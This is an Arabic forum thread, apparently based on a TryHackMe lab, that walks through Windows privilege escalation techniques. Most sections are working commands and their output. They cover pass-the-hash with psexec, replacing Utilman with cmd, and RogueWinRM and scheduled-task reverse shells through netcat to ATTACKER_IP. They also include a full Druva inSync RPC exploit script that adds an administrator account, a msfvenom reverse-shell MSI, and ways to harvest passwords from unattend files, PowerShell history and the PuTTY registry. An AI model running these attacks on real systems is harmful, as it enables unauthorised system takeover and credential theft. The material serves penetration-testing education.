Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

بنقدر نستخدم الهاش الخاص بالـ Administrator لعمل هجوم Pass-the-Hash والدخول للجهاز المستهدف بصلاحيات النظام (SYSTEM):

كود:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP

هيك بنكون دخلنا على النظام
كود:
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system



13. الـ SeTakeOwnership:

ميزة SeTakeOwnership بتسمح للمستخدم إنه ياخذ ملكية أي اشيء بالنظام زي الملفات ومفاتيح التسجيل وهاد بفتح فرص كبيرة للمهاجمين عشان يرفعو صلاحياتهم
زي مثلاً لما ندور على خدمة شغالة بنظام SYSTEM ونوخذ ملكية الملف التنفيذي تاعها

بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

Run as admin

بنقدر نتأكد من صلاحياتنا باستخدام الأمر :

كود:
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Disabled

بتظهرلنا الصلاحيات كالتالي :
  • SeTakeOwnershipPrivilege: بتعطينا ملكية الملفات أو الأغراض الأخرى (معطلة).
  • SeChangeNotifyPrivilege: تجاوز الفحص (مفعلة).
  • SeIncreaseWorkingSetPrivilege: زيادة مجموعة العمل الخاصة بالعملية (معطلة).

احد البرامج اللي ممكن نستغلها عشان نرفع صلاحياتنا برنامج utilman
هو برنامج مدمج بويندوز يستخدم لتوفير خيارات سهولة الوصول في شاشة القفل

utilman normal behaviour


بما إن الـ utilman بشتغل بصلاحيات SYSTEM بنحصل على صلاحيات SYSTEM إذا استبدلناه بأي برنامج نختاره
نبدأ بأخذ ملكية utilman.exe باستخدام الأمر :

كود:
takeown /f C:\Windows\System32\Utilman.exe

بتطلعلنا رسالة نجاح بتحكي إن الملف Utilman.exe صار مملوك من المستخدم WINPRIVESC2\thmtakeownership

بما إننا صرنا المالكين للملف بنقدر نعطي نفسنا أي صلاحيات بنحتاجها باستخدام الأمر التالي :

كود:
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

بنستبدل utilman.exe بنسخة من cmd.exe باستخدام الأمر :

كود:
copy cmd.exe utilman.exe

عشان نفعل البرنامج utilman
بنفتح على شاشه القفل بعدين بنضغط على زر Ease of Access اللي بشغل utilman.exe بصلاحيات SYSTEM قبل بس احنا بدلناه بنسخة من cmd.exe رح نحصل على موجه الأوامر بصلاحيات SYSTEM

وهيك بنكون حصلنا على صلاحيات SYSTEM بطريقة سهلة وبسيطة




14. الـ SeImpersonate و SeAssignPrimaryToken:


الصلاحيات هاي بتسمح لبرنامج إنه يقلد مستخدمين ثانيين ويتصرف نيابةً عنهم التقليد هاد عادة بكون إن البرنامج بقدر يشغل برنامج أو (Thread) تحت حساب مستخدم ثاني

تخيل إن عننا سيرفر FTP بخلي الناس يرفعوا وينزلوا ملفات السيرفر هاد لازم يضمن إن كل مستخدم بقدر يشوف بس الملفات اللي مسموحله يشوفها

نفترض عننا خدمة FTP بتشتغل بحساب المستخدم ftp
لو Ann سجلت دخول وحبت توصل لملفاتها خدمة الـ FTP هتحاول توصل للملفات باستخدام access token الخاص بـ حساب المستخدم ftp مش تاع Ann

6e5768172fbb97d6777dde7e15a3fcfc.png

ليش مش كويس :
  1. عشان الملفات تتقدم بشكل صحيح لازم تكون متاحة لحساب المستخدم ftp يعني الخدمة هتقدر توصل لملفات Ann بس مش لملفات Bill لأن الإعدادات عند Bill مش متاحه للمستخدم ftp
  2. النظام بعتبر كل الملفات بقدر يوصلها المستخدم ftp بغض النظر عن مين اللي سجل دخول يعني الامر بكون لازم ينعمل من الخدمة نفسها مش من النظام
  3. لو الخدمة تم اختراقها المهاجم بقدر يوصل لكل الملفات اللي المستخدم ftp بقدر يشوفها

لو خدمة الـ FTP عندها صلاحيات SeImpersonate أو SeAssignPrimaryToken الموضوع بكون أسهل
الخدمة بتستخدم الـ access token الخاص بالمستخدم اللي سجل دخول وبتشتغل نيابةً عنه

يعني لو Ann سجلت دخول الخدمة بتاخذ الـ access token الخاص فيها وبتستخدمه عشان توصل لملفاتها وبهاذ الشكل الملفات مش لازم تسمح للمستخدم ftp يوصللها والنظام هو اللي بيتولى التحكم

لو قدرنا نسيطر على برنامج عنده لصلاحيات هاي بنقدر نقلد أي مستخدم بتصل وبسجل دخول للبرنامج هاد

بأنظمة ويندوز الحسابات LOCAL SERVICE و NETWORK SERVICE عندهم الصلاحيات هاي والخدمات اللي بتشتغل تحت الحسابات هاي بتستخدمها عشان تقدر تقلد المستخدمين المتصلين لو احتاجت خدمات زي Internet Information Services (IIS) بتعمل حسابات افتراضية مشابهة عشان التطبيقات الويب

المهاجم محتاج :
  1. يشغل برنامج عشان المستخدمين يتصلوا فيه ويسجلوا دخول
  2. يلاقي طريقة يخلي المستخدمين اللي عندهم صلاحيات عالية يتصلوا بالبرنامج الخبيث اللي شغله
بنستخدم ثغرة اسمها RogueWinRM عشان نحقق الشرطين هذول

نفترض إننا سيطرنا على موقع شغال على IIS وزرعنا Web Shell على العنوان :


كود:
http://10.10.48.233/
هنستخدم الـ Web Shell عشان نتحقق من الصلاحيات للحساب اللي سيطرنا عليه ونتأكد إننا عننا الصلاحيات المطلوبة

Webshell impersonate privileges

تشغيل الـ RogueWinRM:​

أولاً بنرفع الثغرة لجهاز الهدف (تم رفعها مسبقًا هنا: C:\tools)

الثغرة بتستغل خدمة BITS لما تبدأ بتعمل اتصال على البورت 5985 باستخدام صلاحيات SYSTEM بورت 5985 بستخدم خدمة WinRM اللي بتفتح Powershell Console للاتصال عن بعد

لو خدمة WinRM مش شغالة على السيرفر المهاجم بقدر يشغل خدمة WinRM وهمية على البورت 5985 ويصطاد محاولة التوثيق من خدمة BITS
لو المهاجم عنده صلاحيات التقليد بقدر ينفذ أي أمر نيابةً عن المستخدم المتصل اللي هو SYSTEM

الخطوات
  1. شغل مستمع netcat على جهاز المهاجم:
    كود:
    user@attackerpc$ nc -lvp 4442
  2. استخدم الـ Web Shell لتشغيل الثغرة بالامر:
    كود:
    c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
  3. بعد شوية بتلاقي إنك حصلت على Shell بصلاحيات SYSTEM :
    كود:
    user@attackerpc$ nc -lvp 4442
    Listening on 0.0.0.0 4442
    Connection received on 10.10.175.90 49755
    Microsoft Windows [Version 10.0.17763.1821]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    c:\windows\system32\inetsrv>whoami
    nt authority\system

احصل على الـ flag من سطح مكتب الـ Administrator's
THM{SEFLAGPRIVILEGE}
رايتاب مفيد للموضوع




15. الـ Unpatched Software ( البرامج غير المحدثة ) :
البرامج المثبتة على النظام ممكن توفر فرص لرفع الصلاحيات زي المنظمات والمستخدمين ما بحدثوهة زي ما بحدثو نظام التشغيل
بنقدر تستخدم أداة wmic عشان نتسرد البرامج المثبتة على النظام وإصداراتها الأمر هذا بيسوي تفريغ للمعلومات اللي يقدر يحصل عليها عن البرامج المثبتة (ممكن ياخذ حوالي دقيقة عشان يخلص):

كود:
wmic product get name,version,vendor

أمر wmic product ممكن ما يرجع كل البرامج المثبتة حسب طريقة تثبيت بعض البرامج ممكن ما تظهر هون لا تنسا تشيك على اختصارات سطح المكتب على الخدمات المتاحة أو أي أثر بدل على وجود برامج إضافية ممكن يكون فيها ثغرات

بعد ما نجمع معلومات إصدارات البرامج بنبحث عن الثغرات الموجودة بالبرامج المثبتة على مواقع زي exploit-db، packet storm أو حتى جوجل






16. الـ Druva inSync 6.6.3 :

سيرفر الهدف بستخدم Druva inSync 6.6.3 اللي فيه ثغرة رفع صلاحيات حسب تقرير Matteo Malvica
الثغرة ناتجة عن تحديث سيء تم تطبيقه على ثغرة أخرى كانت بالإصدار 6.5.0 حسب تقرير Chris Lyne

البرنامج فيه ثغرة لأنه بشغل سيرفر RPC (استدعاء إجراء عن بُعد) على البورت 6064 بصلاحيات الـ SYSTEM ومتاحة فقط من الـ localhost

إذا ما بتعرف شو هو الـ RPC : هو ببساطة آلية بتسمح للعملية بفتح وظائف (تسمى إجراءات في مصطلح RPC) عبر الشبكة عشان الأجهزة الأخرى تقدر تستدعيها عن بعد

في حالة الـ Druva inSync وحدة من الإجراءات المفتوحة (تحديدًا الإجراء رقم 5) على البورت 6064 بسمح لأي شخص بطلب تنفيذ أي أمر بما إن سيرفر RPC يعمل بصلاحيات الـ SYSTEM أي أمر بتنفذ بصلاحيات SYSTEM

الثغرة الأصلية المبلغ عنها بالإصدارات 6.5.0 واللي قبلها كانت بتسمح بتشغيل أي أمر بدون قيود
الفكرة الأصلية كانت لتشغيل بعض الملفات التنفيذية المحددة مع inSync عن بعد ولكن ما كان فيه تحقق لضمان هاد الاشي

اصدرو تحديث قرروا يتحققو من الأمر المنفذ يبدأ بالسلسلة C:\ProgramData\Druva\inSync4 هيك بتكون الملفات هاي الملفات التنفيذية المسموح فيها بس هاد التحديث ما كان كافي لأنك ببساطة بتقدر تسوي هجوم path traversal لتفادي هذا النوع من التحكم

لنفترض إنك بدك تشغل C:\Windows\System32\cmd.exe
اللي هو مش بالمسار المسموح بتقدر تطلب من السيرفر يشغل C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe وهيك بتم تجاوز التحقق بنجاح

شرح تنفيذ الثغرة
عشان ننفذ ثغرة ناجحة لازم نفهم كيف نتواصل مع البورت 6064

البروتوكول المستخدم بسيط والحزم المرسلة موضحة بالرسم التالي :

Druva Exploit Diagram

الحزمة الأولى ببساطة تحتوي على hello packet
الحزمة الثانية بتشير إلى إننا بدنا ننفذ الإجراء رقم 5 لأنه هو الإجراء الثغرة اللي بشغل أي أمر
الحزمتين الأخيرتين تستخدم لإرسال طول الأمر و الأمر للتنفيذ على التوالي


كود الاستغلال
نشر Matteo Malvica كود الاستغلال اللي بتقدر تستخدمه في جهاز الهدف لرفع صلاحياتك والحصول على حل هذه التحدي ( اللي تحت ) هنا كود الاستغلال الأصلي:
كود:
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)



بتقدر تفتح الـ Powershell وتلصق الكود مباشرة للتنفيذ (الاستغلال متاح بجهاز الهدف ( للتحدي ) بـ C:\tools\Druva_inSync_exploit.txt

لاحظ إن الـ payload الافتراضي المحددة في المتغير cmd$ بتضيف مستخدم باسم pwnd بالنظام لكن ما بتعطيه صلاحيات إدارية فـ بنحتاج نغير الـ payload لأشي أكثر افاده بالنسبة للتحدي

بنغير الـ payload لتشغيل الأمر التالي :
كود:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

هاد بضيف مستخدم pwnd بكلمة مرور SimplePass123 وبضيفه لمجموعة الـ administrator's

إذا الاستغلال نجح بنشغل الأمر التالي للتحقق من وجود المستخدم pwnd وأنه جزء من مجموعة الـ administrator's :
كود:
net user pwnd



1716532513929.png



1716532591285.png


1716532695000.png

1716532734785.png


احصل على الـ flag على سطح مكتب الـ Administrator's
THM{EZ_DLL_PROXY_4ME}





17. Tools of the Trade ( أدوات الفحص ):​

فيه عدة سكريبتات بتقدر تستخدمها عشان تفحص النظام وتعرف إذا فيه طرق لرفع الصلاحيات زي ما شفنا بالمهمة السابقة الأدوات هاي بتسهل عملية الفحص وبتختصر الوقت وبتساعدك تكتشف طرق جديدة لرفع الصلاحيات
بس تذكر إن الأدوات الآلية ممكن يفوت عليها بعض الطرق

هاي بعض الأدوات المشهورة اللي تستخدم في فحص طرق رفع الصلاحيات

WinPEAS

download.png

هو سكريبت مصمم لفحص النظام المستهدف واكتشاف طرق رفع الصلاحيات بتقدر تعرف معلومات أكثر عنه وتحمل النسخة الجاهزة أو ملف
بشغل أوامر مشابهة للِّي تكلمنا عنها وبطبع النتائج لكن النتائج من WinPEAS ممكن تكون طويلة وصعب تقراها عشان هيك من الأفضل توجه المخرجات لملف :
كود:
C:\> winpeas.exe > outputfile.txt

بتقدر تحمل WinPEAS من الرابط التالي

PrivescCheck

هو سكربت PowerShell ببحث عن طرق رفع الصلاحيات الشائعة في النظام المستهدف هو بديل لـ WinPEAS وما بحتاج يشغل ملف تنفيذي

ملاحظة: عشان تشغل PrivescCheck على النظام المستهدف ممكن تحتاج تتجاوز قيود السياسات التنفيذية بتقدر تسوي هاد باستخدام الأمر Set-ExecutionPolicy زي هيك :
كود:
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

بتقدر تحمل PrivescCheck من الرابط التالي

WES-NG: Windows Exploit Suggester - Next Generation

بعض سكربتات اقتراح الثغرات (مثل winPEAS) بتحتاج ترفعها على النظام المستهدف وتشغلها هناك هاد ممكن يخلي برامج الحماية تكتشفها وتحذفها عشان تتجنب لفت الانتباه ممكن تفضل تستخدم WES-NG اللي بشتغل على جهازك
هو سكريبت Python

بعد ما تثبته
قبل ما تستخدمه اكتب الأمر التالي لتحديث قاعدة البيانات :

كود:
wes.py --update

السكريبت هاد بعتمد على قاعدة بيانات اللي بنشئها عشان يفحص التحديثات الناقصة اللي ممكن تكون بتقدر تستغلها لرفع الصلاحيات على النظام المستهدف
لاستخدام السكريبت بتحتاج تشغل أمر systeminfo على النظام المستهدف لا تنسى توجيه المخرجات لملف txt. وتنسخه لجهازك
بعدها بتقدر تشغل WES-NG بهاي الطريقة :

كود:
user@kali$ wes.py systeminfo.txt

بتقدر تحمل WES-NG من الرابط التالي

Metasploit

إذا عندك بالفعل Meterpreter على النظام المستهدف بتقدر تستخدم الموديول multi/recon/local_exploit_suggester عشان يعرضلك الثغرات اللي ممكن تأثر على النظام المستهدف وتسمحلك ترفع صلاحياتك عليه




res
 

المرفقات

  • 1715628208552.png
    1715628208552.png
    47 KB · المشاهدات: 94
  • 1715628394791.png
    1715628394791.png
    76.4 KB · المشاهدات: 97
  • 1715683984801.png
    1715683984801.png
    30.9 KB · المشاهدات: 93
  • 1715684145722.png
    1715684145722.png
    25.1 KB · المشاهدات: 91
  • 1715687707578.png
    1715687707578.png
    14.1 KB · المشاهدات: 95
  • 1715689475637.png
    1715689475637.png
    17.5 KB · المشاهدات: 91
  • 1716090011268.png
    1716090011268.png
    84.6 KB · المشاهدات: 93
  • 1716532624532.png
    1716532624532.png
    27.3 KB · المشاهدات: 97
التعديل الأخير:
زمان ع هيك مواضيع تجميعيه.
الصراحه ماقريت المقال كامل لكن استوقفني مرجع هام لازم ينظاف للموضوع هو ثغرات Tavis Ormandy اللي كان اصدرها 0-day حينها دون اخبار ميكرسوفت للظغط عليها لتقوية انظمة وندوز.
مجدر بحث بسيط ممكن تلاقو هاي الثغرات وظيفوها ف الفرامموورك تبعكو منها:

Windows-EOP-Exploit​

 
الـ Privilege Escalation


5c3530e1fb732e4a93dd4d6b7cb8373d.png
بعمليات الاختراق لما تفوت على ويندوز بتلاقي حالك مستخدم عادي
المستخدم العادي هاد ما بكون عنده سلطة كبيرة او تحكم كبير بس بقدر يوصل لملفاته ومجلداته بس وما فيه طريقة يعمل مهام إدارية على الجها، يعني ما بتقدر يكون عندك تحكم كامل على الهدف اللي بتستهدفه

الموضوع هاد بحكي عن تقنيات أساسية بتساعد الهاكرز يرتقوا بصلاحياتهم في نظام ويندوز يعني بتقدر تستغل أي دخول مبدئي بمستخدم عادي على الجهاز عشان تطور لحساب مسؤول إذا كان ممكن

راح نركز على النقاط التاليه :

0. الـ انواع للحسابات في ويندوز
1. الـ Unattended Windows Installations
2. الـ Powershell History
3. الـ Saved Windows Credentials
4. الـ Internet Information Services
5. الـ Retrieve Credentials from Software: PuTTY
6. الـ Scheduled Tasks
7. الـ Always Install Elevated
8. الـ Service Control Manager
9. الـ Splinterware System Scheduler
10. الـ Unquoted Service Paths
11. الـ Insecure Service Permissions
12. الـ صلاحيات SeBackup / SeRestore
13. الـ SeTakeOwnership
14. الـ SeImpersonate و SeAssignPrimaryToken
15. الـ Unpatched Software ( البرامج غير المحدثة )
16. الـ
Druva inSync 6.6.3
17. Tools of the Trade ( أدوات الفحص )






0. انواع الحسابات في ويندوز
بنظام ويندوز في نوعين من الحسابات للمستخدمين بناء على مستوى صلاحياتهم :
  1. المسؤولين : هما المستخدمين لديهم أكبر قدر من الصلاحيات بإمكانهم يغييرو أي إعدادات بالنظام والوصول لأي ملف بالنظام
  2. المستخدمين العاديين : هما المستخدمين اللي عندهم وصول للكمبيوتر لكن بقدرو يعملو مهام محدودة فقط عادةً اللي ما بقدرو يعملو تغييرات دائمة أو أساسية على النظام بس على ملفاتهم الخاصة
أي مستخدم لديه صلاحيات إدارية سيكون جزءًا من مجموعة المسؤولين ومن ناحية أخرى يكون المستخدمون العاديون جزءًا من مجموعة المستخدمين

وايضا في حسابات مدمجة خاصة بنظام التشغيل:
  1. SYSTEM / LocalSystem : حساب يستخدمه نظام التشغيل لأداء المهام الداخلية عنده وصول كامل لجميع الملفات والموارد المتاحة على الجهاز بصلاحيات أعلى حتى من المسؤولين
  2. Local Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اتصالات مجهولة عبر الشبكة
  3. Network Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اعتمادات الكمبيوتر للمصادقة من خلال الشبكة

هاي الحسابات يتم إنشاؤها وإدارتها بواسطة ويندوز ولن تتمكن من استخدامها كحسابات عادية لكن ببعض الحالات ممكن تحصل على صلاحياتها بسبب استغلال خدمات معينه






1. الـ Unattended Windows Installations:
لما بدنا نثبت ويندوز على عدد كبير من الأجهزة المشرفين بيستخدموا خدمه توزيع ويندوز ( Unattended Windows Installations ) اللي بتسمح بنسخة ويندوز واحدة تنزل على عدة أجهزة عن طريق الشبكة هاي تعتبر عمليه تثبيت غير مراقبة
يعني الواحد مش لازم يتفاعل معها وبتحتاج استخدام حساب مشرف عشان تعمل الإعداد الأولي اللي قد يتخزن في الجهاز في مكان معين زي :
كود:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

في الملفات هاي ممكن تلاقي معلومات دخول زي :

كود:
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>



2. الـ Powershell History:
كل ما نكتب امر على الـ Powershell الأمر بتخزن بفايل هاد مفيد لما بتحتاج تعيد استخدام أوامر سابقة بسرعة لو حد يشغل أمر بالـ Powershell فيه كلمة سر بعدين بقدر يسترجعها

بأمر من الـ cmd : (عشان نقرأ الفايل من باورشيل لازم نغير %userprofile% لـ $Env:userprofile)

كود:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
بأمر من Powershell :
كود:
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt







3. الـ Saved Windows Credentials:
بنظام ويندوز في ميزة اسمها Saved Windows Credentials يعني بتتيحلينا نستخدم بيانات تسجيل الدخول خاصه بمستخدمين ثانيين
يعني لما نكتب الامر هاد بعرضلنا قائمة بالبيانات اللي انحفظت على النظام
كود:
cmdkey /list

طبعًا ما رح نشوف كلمات مرور بالتحديد بس لو شفنا أي بيانات مهمة ممكن نجربها
بنقدر نستخدمها بأمر runas مع إضافة الخيار savecred/ زي هيك :

كود:
runas /savecred /user:admin cmd.exe
الأمر هاد بخلينا نستخدم بيانات تسجيل الدخول بصلاحيات admin







4. الـ Internet Information Services:
إعدادات IIS اللي هي Internet Information Services هاد الويب سيرفر الافتراضي بالويندوز
إعدادات المواقع على الـ IIS بتتخزن بملف اسمه web.config والملف هاد بقدر يحتفظ بكلمات السر لقواعد البيانات أو آليات المصادقة اللي مُعدَّل عليها حسب إصدارة الـ IIS اللي مثبت على الجهاز

بنقدر نلاقي ملف web.config بأحد الأماكن هاي :
كود:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

في طريقة سريعة للبحث عن الـ database connection strings في الملف بنكتب الأمر هاد :
كود:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString







5. الـ Retrieve Credentials from Software: PuTTY:
هو برنامج للشبكات بويندوز
بنستخدمه عشان ندخل على الـ SSH
بتساعدك عشان ما تحتاج تكتب كل مرة الـ IP واسم المستخدم وهيك بتقدر تحفظ إعدادات الجلسات يعني بعد ما تعمل اتصال مرة بتقدر تخليه يتذكرها

بس للأسف الـ PuTTY ما بحفظ كلمات السر الخاصة بالـ SSH بس بخزن إعدادات البروكسي اللي فيها المعلومات التحقق من الهوية

عشان نوصل للمعلومات هاي بندور بالريجستري بالويندوز بالمسار هاد:

كود:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

الـ Simon Tatham هو اللي صاحب البرنامج PuTTY بعد ما ننفذ الأمر هاد بنشوف اسم المستخدم للبروكسي اللي حفظته

مش بس PuTTY اللي بتحفظ كلمات السر أي برنامج ثاني بخزن كلمات السر زي المتصفحات وبرامج الإيميل والـ FTP والـ SSH وحتى البرامج اللي بتسمحلك بالتحكم عن بعد زي VNC بتقدر تجيب كلمات السر بطرق مختلفة







6. الـ Scheduled Tasks:
يعني تشوف المهام المجدولة على النظام ممكن نلقى مهمة مجدولة ممكن ضاع منها ملف او في ملف ممكن نقدر نتحكم فيه

بنقدر نشوف المهام المجدولة من الكوماند لاين باستخدام الأمر schtasks من غير أي خيارات وعشان نجيب معلومات تفصيلية عن أي مهمة بنقدر نستخدم أمر زي هاد :

كود:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1

بتظهر معلومات كثيرة عن المهمة بس اللي بهمنا هو المتغير Task to Run اللي بوضح اللي بتنفذ من المهمة والمتغير Run As User اللي ببين مستخدم اللي بنفذ المهمة

لو المستخدم الحالي بقدر يعدل أو يغير الملف اللي ينفذه بنقدر نتحكم بشو ينفذ من قبل المستخدم taskusr1 وهيك بكون تطوير بسيط بالصلاحيات

عشان نشيك على صلاحيات الملف بنستخدم icacls :

كود:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

مجموعة BUILTIN\Users عندها صلاحية كاملة ( F ) على الملف يعني بنقدر نعدل الملف bat. ونحط فيه أي شي بدنا اياه ممكن نلاقي nc64.exe بالـ C:\tools بنقدر نغير الملف بحيث يعطينا ريفيرس شل :

كود:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

واكيد بنفتح ليسنر على جهازنا اللي هو المهاجم على نفس المنفذ اللي حددناه لريفيرس شل :

كود:
nc -lvp 4444

بالمرة الجاية اللي بتشتغل فيها المهمة المجدولة بيجينا ريفيرس شل بصلاحيات المستخدم taskusr1 بالعادة ما بنقدر نشغل المهمة يدوياً في حالة الاختبار الحقيقي وبنتضطر ننتظر لحد ما يشغل المهمة المجدولة
بس بالمثال هون بنقدر نشغلها يدويا عشان يوفرولنا وقت عن طريق الامر التالي
كود:
C:\> schtasks /run /tn vulntask

وبيجينا ريفيرس شل بصلاحيات taskusr1 زي ما توقعنا :

كود:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\taskusr1






7. الـ Always Install Elevated:
ملفات التثبيت الخاصة بويندوز (المعروفة بـ msi files. ) تستخدم لتثبيت برامج على النظام
عادةً بتشتغل بصلاحيات المستخدم اللي بدأها بس بنقدر نعدلها عشان تشتغل بصلاحيات أعلى حتى لو كنت مستخدم عادي وطبعا هاد ممكن يسمحلك تولد ملف msi. يشتغل بصلاحيات الأدمن

هاي الطريقة بتحتاج قيمتين بالريجستري بتقدر تشيك عليهم من الكوماند لاين بالأوامر اللي تحت :

كود:
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

عشان نستفيد من الثغرة هاي لازم يكون الاثنين مضبوطين وإلا ما رح تقدر تستغل الثغرة لو هما مضبوطين بتقدر تولد ملف msi. باستخدام msfvenom زي ما في الأمر :

كود:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

عشان هذا ريفيرس شل لازم تشغل موديول الـ handler بـ Metasploit مضبوط بناءً على الريفيرس شل زي ما شرحت سابقا

لما تنقل الملف اللي سويته بتشغل المثبت بالأمر التالي وبيجيك اتصال من الريفيرس شل :

كود:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi



8. الـ Service Control Manager:
عننا خدمات ويندوز دايماً تحت الرقابة عندها يعني في خدمة اسمها Service Control Manager اللي هي مسؤوله عن إدارة حالة الخدمات وبتشيك على وضع كل خدمة

كل خدمة بالويندوز عندها ملف تنفيذي مرتبط معاها اللي بشغلها Service Control Manager
مهم جداً تعرف إن الملف التنفيذي للخدمة لازم يكون فيه وظائف خاصة عشان يتواصل مع Service Control Manager فـ مش أي ملف يمكن يتشغل كخدمة
وكل خدمة بتحدد حساب المستخدم اللي بتشتغل تحته

عشان نفهم أكثر خلينا نشوف مثال على خدمة اسمها apphostsvc باستخدام أمر sc qc :

كود:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem

هون مبين الملف التنفيذي للخدمة محدد بالمتغير BINARY_PATH_NAME
والحساب اللي بشتغل تحته بتظهر بالمتغير SERVICE_START_NAME

كل خدمة فيها قائمة تحكم وصول اسمها Discretionary Access Control List بتحدد مين اللي عنده إذن يشغل و يوقف و يوقف مؤقت و يشوف الحالة و يشوف الإعدادات أو يعدل عليها وغيرها من الصلاحيات.
القائمة هاي بتقدر تشوفها من برنامج اسمه Process Hacker اللي موجود على سطح المكتب :

Service DACL

كل الـ services configurations بتتخزن بالريجستري تحت HKLM\SYSTEM\CurrentControlSet\Services:


في مجلد فرعي لكل خدمة بالنظام بنشوف الملف التنفيذي المرتبط بالقيمة ImagePath والحساب المستخدم لبدء الخدمة على قيمة ObjectName
لو كان في قائمة تحكم وصول للخدمة بتتخزن بمجلد فرعي اسمه Security كمان بس المسؤولين بقدروا يعدلوا على القيم هاي بالريجستري بشكل طبيعي




9. الـ Splinterware System Scheduler:
اذا كان في ملف قابل للتنفيذ مرتبط "بخدمه معينه" الاذونات اللي فيها ضعيفه بنقدر نعدلها او نستبدلها عشان نرفع ريفيرس شل

أول اشي بنستخدم أمر عشان نشوف إعدادات الخدمة بواسطة الأمر sc

كود:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1

بيين عننا الخدمه WindowsScheduler بتشتغل تلقائي واسم الحساب الخاص فيها هو svcuser1/.
وأن الملف القابل للتنفيذ المرتبط بالخدمة موجود في C:\Progra~2\System~1\WService.exe

بعدها بنشوف الصلاحيات على الملف التنفيذي الخاص بالخدمة بواسطة الأمر icacls

وبطلعلنا إن مجموعة الـ Everyone عندها صلاحيات تعديل ( modify ) على الملف يعني أي حد ممكن يعدل عليه

كود:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
